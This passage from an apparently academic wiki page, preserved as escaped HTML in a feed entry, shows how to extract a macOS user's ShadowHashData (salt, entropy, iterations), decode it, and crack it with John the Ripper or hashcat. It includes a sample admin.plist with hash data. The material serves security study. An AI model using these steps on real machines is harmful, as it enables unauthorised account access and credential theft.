 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        EdgeO56l9qD8CQGvb6wJ94TI34iWZD/4j2/gMt+qmcB3GQ0sAX8kMzoIeU3H&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        lYZOlZy2eOwbeNiF34z74kU8jGkC3zxfZVo6NpElzS4N41O+KxDI4m/P/bg4&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        kQIPaXaKz+jSd/6gyx2H78o5wkKC2NzWCVc6FbsUk2qElJNhEBo=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;/data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;iterations&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;integer&amp;gt;14771&amp;lt;/integer&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;lt;key&amp;gt;&amp;lt;u style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;salt&amp;lt;/u&amp;gt;&amp;lt;/key&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        C/HjyS39QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVk=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;        &amp;amp;lt;/data&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;    &amp;lt;/dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/dict&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;&amp;lt;/plist&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white;calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; See example admin.plist after converting to XML&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 10px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;AvatarRepresentation&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;HeimdalSRPKey&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;data&amp;gt;&lt;br /&gt;
        MIICK6CCAgQEggIAgTgsbzpXXyqgFKy78GhFY2u6beCYAcONlEenOgAkojJ+&lt;br /&gt;
        guumiYOe9wHvW1q5RZ+zGJhUMi/cK6rf0+V+a3Z4Ra8DwuVr3VTIcwmxC5Le&lt;br /&gt;
        /Gnxgz6xacPPDeMSlEBlH1NW2e0Z1mcYvapMH81gcNrCSneljWkPgxxUCKY9&lt;br /&gt;
        UycOJBgMumE6yIzt5z/GlvEuNeWT6uPQxWEsClDLeQgKqu1QE++1N36s/ZdJ&lt;br /&gt;
        1ytgQ3Kmlb0p5l/RfGiDmCvlHlL7KeZVn1R12zPTKLoaLJzXXqZWrWRZwlPl&lt;br /&gt;
        9NBadwMpi2RrdZ6fFMw2pqZ67WKFXVEle3KF4Edi2heiYRzbJaZ3QnXqYfJO&lt;br /&gt;
        3QIFUFLXildpHtFb0kZ5i5PMjuBiNx4VzwOhYw/pIfuIGkCFXnSLz+8nZmFk&lt;br /&gt;
        BaX0IBQh8xMNLQxqteEi6DLskD6kk+5EXmywn4xqntwP7M8t9XkzvS4cRUg9&lt;br /&gt;
        bW7/gd0TWS7zBdxYlUtJf9YMWcJS1yS1iN0yhoSHnKQICFN1VNropG3ORNJ2&lt;br /&gt;
        mfGVnBOrNkHBEU0TVSRAuS0pQxT6iMqnfebLrzaAasmECMh+w+mutWTxLAhm&lt;br /&gt;
        77A1Suwb2H+Jr3yKUKCT50kBbeluzwi4nxdIrnfNex4q9UCJtKiGhpCyynCw&lt;br /&gt;
        folhylW90dbaOHTRoXHksFsthbRtG+L6bxYSwNahITAfoAMCAQGhEgQQxokb&lt;br /&gt;
        nbZFkn2qH0/5kXFI36IEAgIPoA==&lt;br /&gt;
        &amp;lt;/data&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;KerberosKeys&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;data&amp;gt;&lt;br /&gt;
        MIIBTqEDAgEEoIIBRTCCAUEwcaErMCmgAwIBEqEiBCCN/7q/k1UadqZjiyQX&lt;br /&gt;
        nbEuBWHYH5+Xd/ONAey/k4AJw6JCMECgAwIBA6E5BDdMS0RDOlNIQTEuQjBF&lt;br /&gt;
        NjM5QUM1MENBQjY3RjhDNzA5QjBEQjc1MDFCMzRFQ0RFMEZEQWFkbWluMGGh&lt;br /&gt;
        GzAZoAMCARGhEgQQ8bXsa/qNETE3CF5/JLBVXqJCMECgAwIBA6E5BDdMS0RD&lt;br /&gt;
        OlNIQTEuQjBFNjM5QUM1MENBQjY3RjhDNzA5QjBEQjc1MDFCMzRFQ0RFMEZE&lt;br /&gt;
        QWFkbWluMGmhIzAhoAMCARChGgQYKRNJNw0LMuOSWIxUKZRSwmGezquw0++w&lt;br /&gt;
        okIwQKADAgEDoTkEN0xLREM6U0hBMS5CMEU2MzlBQzUwQ0FCNjdGOEM3MDlC&lt;br /&gt;
        MERCNzUwMUIzNEVDREUwRkRBYWRtaW4=&lt;br /&gt;
        &amp;lt;/data&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;LinkedIdentity&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;dict&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;key&amp;amp;gt;appleid.apple.com&amp;amp;lt;/key&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;dict&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;key&amp;amp;gt;linked identities&amp;amp;lt;/key&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;array&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;dict&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;key&amp;amp;gt;unverified name&amp;amp;lt;/key&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;string&amp;amp;gt;apple@mail.com&amp;amp;lt;/string&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;/dict&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/array&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/dict&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/dict&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/plist&amp;amp;gt;&lt;br /&gt;
&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;ShadowHashData&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;data&amp;gt;&lt;br /&gt;
        YnBsaXN0MDDSAQIDCl8QHlNSUC1SRkM1MDU0LTQwOTYtU0hBNTEyLVBCS0RG&lt;br /&gt;
        Ml8QFFNBTFRFRC1TSEE1MTItUEJLREYy0wQFBgcICVh2ZXJpZmllclRzYWx0&lt;br /&gt;
        Wml0ZXJhdGlvbnNPEQIAzNFxY5LzXWfvdCLJAZFt/8fzrWDcfBY/J/fKilLW&lt;br /&gt;
        8aWLUJgQhgV0fHWQV4cYnU+9LUJP6cEVGpUp43u5d/o+AS/TyC7kpZvOauVh&lt;br /&gt;
        EQFpdylBubkLYl1vFIGPTIl953kmqu8I8OrvvPI1RrafX1gt7uwnIRRD0hHv&lt;br /&gt;
        nnFzPDgfYsEu+W27g8rJXMvlknxm1ADvjqLtIFBHgF0wyYvGwVYWXToYmVL+&lt;br /&gt;
        Tej69TIvx07Gl7ttscIA+9fr3aOE4PY9E62ejYk9Ka5YDaZy60tq35zLmPPD&lt;br /&gt;
        maVNu5jq0VRkFWVx0TbzHtfSlu8ZZ/p4kp8wZnyueivAAd7gfSkxXaCyrpBq&lt;br /&gt;
        C91j0ezE8dtKltIj5HSPBUK1w8daaAPwRALk0a2SJv14/rVK6/ceOZnNATnV&lt;br /&gt;
        w1UhQClE00S5ScoNE9Gsr9t3p28kfFxtWu4aYHO/01I37kuAawniuPPu6mU3&lt;br /&gt;
        +EwcCTjm3WITiHCX8bAxL5mUN+sOAIWuVdQodVV70P0TtwMp5jmZw5xjAd3Q&lt;br /&gt;
        2jCW0Zja0hFRKEUJHRckwM+6/lcXKUd9YYNeoc6EMrMhW0CYEa1IkvYFiX3d&lt;br /&gt;
        +0TIvjt/T9CvS12wLdfrXZT3jEL3AGOoohVLeM/j8DY7/DfmPQ3JD/Yjmnah&lt;br /&gt;
        AXCjhEKjrC8Ci4a/C7FlGHoTro7OjtZFmB9iWfbVdJNPECDoT3Wl55mH4QEi&lt;br /&gt;
        VSwjvly5hteDSiIdDeMFgtRj4sF8+BE5s9MLBQYMDQlXZW50cm9weU8QgBHY&lt;br /&gt;
        Hjuepfag/AkBr2+sCfeEyN+IlmQ/+I9v4DLfqpnAdxkNLAF/JDM6CHlNx5WG&lt;br /&gt;
        TpWctnjsG3jYhd+M++JFPIxpAt88X2VaOjaRJc0uDeNTvisQyOJvz/24OJEC&lt;br /&gt;
        D2l2is/o0nf+oMsdh+/KOcJCgtjc1glXOhW7FJNqhJSTYRAaTxAgC/HjyS39&lt;br /&gt;
        QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVkACAANAC4ARQBMAFUAWgBlAmkC&lt;br /&gt;
        jAKPApYCngMhAAAAAAAAAgEAAAAAAAAADgAAAAAAAAAAAAAAAAAAA0Q=&lt;br /&gt;
        &amp;lt;/data&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_AvatarRepresentation&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_UserCertificate&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_hint&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_jpegphoto&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_passwd&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_picture&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;_writers_unlockOptions&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;accountPolicyData&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;data&amp;gt;&lt;br /&gt;
        PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NU&lt;br /&gt;
        WVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VO&lt;br /&gt;
        IiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4w&lt;br /&gt;
        LmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+Y3Jl&lt;br /&gt;
        YXRpb25UaW1lPC9rZXk+Cgk8cmVhbD4xNTY3ODc0NjMyLjcxMjIyNTwvcmVh&lt;br /&gt;
        bD4KCTxrZXk+ZmFpbGVkTG9naW5Db3VudDwva2V5PgoJPGludGVnZXI+MDwv&lt;br /&gt;
        aW50ZWdlcj4KCTxrZXk+ZmFpbGVkTG9naW5UaW1lc3RhbXA8L2tleT4KCTxp&lt;br /&gt;
        bnRlZ2VyPjA8L2ludGVnZXI+Cgk8a2V5Pmxhc3RMb2dpblRpbWVzdGFtcDwv&lt;br /&gt;
        a2V5PgoJPHJlYWw+OTc4MzA3MjAwPC9yZWFsPgoJPGtleT5wYXNzd29yZExh&lt;br /&gt;
        c3RTZXRUaW1lPC9rZXk+Cgk8cmVhbD4xNTQ2MzAxMTIzLjIzNDIzODE8L3Jl&lt;br /&gt;
        YWw+CjwvZGljdD4KPC9wbGlzdD4K&lt;br /&gt;
        &amp;lt;/data&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;authentication_authority&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;;ShadowHash;HASHLIST:&amp;amp;lt;SALTED-SHA512-PBKDF2,SRP-RFC5054-4096-SHA512-PBKDF2&amp;amp;gt;&amp;lt;/string&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;;Kerberosv5;;admin@LKDC:SHA1.B0E639AC50CAB67F8C709B0DB7501B34ECDE0FDA;LKDC:SHA1.B0E639AC50CAB67F8C709B0DB7501B34ECDE0FDA;&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;generateduid&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;93D8EA27-7277-4030-9417-3121ED21E4B0&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;gid&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;20&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;home&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;/Users/admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;jpegphoto&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;data&amp;gt;&lt;br /&gt;
                [...]&lt;br /&gt;
        &amp;lt;/data&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;name&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;admin&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;passwd&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;********&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;picture&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;/Library/User Pictures/Nature/Zen.tif&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;realname&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;John Doe&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;record_daemon_version&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;4855000&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;shell&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;/bin/bash&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;uid&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;501&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;unlockOptions&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;array&amp;gt;&lt;br /&gt;
        &amp;lt;string&amp;gt;0&amp;lt;/string&amp;gt;&lt;br /&gt;
    &amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The resulting data within the &amp;lt;code&amp;gt;ShadowHashData.plist&amp;lt;/code&amp;gt; or inside the output of the terminal, contains three key parts: iterations, entropy and salt. Where iterations is just an integer, but entropy and salt are base64 encoded, which have to be decoded and dumped to hex using &amp;lt;code&amp;gt;xxd&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt;echo  &amp;quot;$SALT_DATA&amp;quot; | base64 -D | xxd -p | tr -d \\n&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;0bf1e3c92dfd414d0a2cd53caa813b5ca2d4a58f0ec45446bf7b43bddb858959&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt;echo  &amp;quot;$ENTROPY_DATA&amp;quot; | base64 -D | xxd -p | tr -d \\n&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey; word-wrap: break-word&amp;quot;&amp;gt;11d81e3b9ea5f6a0fc0901af6fac09f784c8df8896643ff88f6fe032dfaa99c077190d2c017f24333a08794dc795864e959cb678ec1b78d885df8cfbe2453c8c6902df3c5f655a3a369125cd2e0de353be2b10c8e26fcffdb83891020f69768acfe8d277fea0cb1d87efca39c24282d8dcd609573a15bb14936a84949361101a&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;These values are now combined into a string and stored for use with Hashcat or John the Ripper. The resulting string gives the same result as the hashdump.py script and is cracked in the next and last section.&amp;lt;/p&amp;gt;&lt;br /&gt;
 $ml$&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;&amp;lt;iterations(integer)&amp;gt;&amp;lt;/span&amp;gt;$&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;&amp;lt;salt(hex)&amp;gt;&amp;lt;/span&amp;gt;$&amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;&amp;lt;entropy(hex)&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Crack Password Hashes&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This is the time-critical part of the process, and in this specific case, a hash of the &amp;lt;code&amp;gt;macOS v10.8+ (PBKDF2-SHA512)&amp;lt;/code&amp;gt; type is targeted. Depending on the hardware or software used, the time it takes to find the password can be extended or shortened.  It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU).  However, not everyone has the latest GPU, and hashcat may not run on all hardware. Before each new hash type that needs to be cracked, the choice of hardware and software should be considered, since calculation rates per second can vary greatly. Based on the results of the built-in benchmarking functions &amp;lt;code&amp;gt;hashcat --benchmark -m $HASHMODE&amp;lt;/code&amp;gt; (e.g. -m 7100) and &amp;lt;code&amp;gt;john --test --format=$HASHMODE&amp;lt;/code&amp;gt; (e.g. --format=PBKDF2-HMAC-SHA512{-opencl}) one should decide which tool is best suited for a specific scenario.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In this simple example, with a known password, only a simple wordlist attack is listed. Depending on the scenario, an appropriate attack mode, such as rule-based, syllable, hybrid, rainbow, must be used. This decision should only be made if you have some knowledge about the structure of the password. Otherwise, common passwords should be checked using wordlist, and if unsuccessful, more complex attacks should be used. The hashes are passed to the program in the structure described above (CODE$ml$ITERATIONS$SALT$ENTROPY&amp;lt;/code&amp;gt;), while the &amp;lt;code&amp;gt;$HASHES.txt&amp;lt;/code&amp;gt; can contain a variety of hashes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; john &amp;lt;b&amp;gt;$HASHES&amp;lt;/b&amp;gt;.txt &amp;lt;b&amp;gt;$WORDLIST&amp;lt;/b&amp;gt;.txt --format=PBKDF2-HMAC-SHA512-opencl&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: grey&amp;quot;&amp;gt;# OR&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;font-weight: bold&amp;quot;&amp;gt;$&amp;lt;/span&amp;gt; hashcat --attack-mode 3 --hash-type 7100 &amp;lt;b&amp;gt;$HASHES&amp;lt;/b&amp;gt;.txt &amp;lt;b&amp;gt;$WORDLIST&amp;lt;/b&amp;gt;.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;gt;The &amp;lt;code&amp;gt;--format&amp;lt;/code&amp;gt; is not necessary in most cases, since John the Ripper provides hash detection and can be omitted.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Further information can be found here: [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Not all macOS hashes are created equally. Hash iterations are used as a &amp;quot;slowdown factor,&amp;quot; which essentially forces CPUs and GPUs to take significantly longer when computing a single password attempt. The number of iterations varies in different versions of macOS. One thing is certain: the higher this value is, the longer the employed cracking tool will have to work to crack a single hash.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.15.1, 2.8GHz Intel Core i7 (4-core), 16GB LPDDR3&lt;br /&gt;
* MacBook Pro (15-inch, 2014), macOS 10.14.6, 2.2GHz Intel Core i7 (4-core), 16GB DDR3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
* https://hackintosh.com/&lt;br /&gt;
* https://www.khronos.org/opencl/&lt;br /&gt;
* About macOS Recovery: https://support.apple.com/en-us/HT201314&lt;br /&gt;
* How to set a firmware password on your Mac: https://support.apple.com/en-gb/HT204455&lt;br /&gt;
* Use FileVault to encrypt the startup disk on your Mac: https://support.apple.com/en-us/HT204837&lt;br /&gt;
* Mac startup key combinations: https://support.apple.com/en-us/HT201255&lt;br /&gt;
* About System Integrity Protection: https://support.apple.com/en-us/HT204899&lt;br /&gt;
* About the screens on your Mac as it starts up: https://support.apple.com/en-gb/HT204156&lt;br /&gt;
* https://github.com/EmpireProject&lt;br /&gt;
* https://github.com/tokyoneon&lt;br /&gt;
* https://en.wikipedia.org/wiki/Property_list&lt;br /&gt;
* http://osxdaily.com/2018/08/01/check-system-integrity-protection-sip-status-mac/&lt;br /&gt;
* https://null-byte.wonderhowto.com/how-to/hacking-macos-hack-mac-password-without-changing-0189001/&lt;br /&gt;
* https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863&lt;br /&gt;
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=4559</id>
		<title>Block Device Encryption - dm-crypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=4559"/>
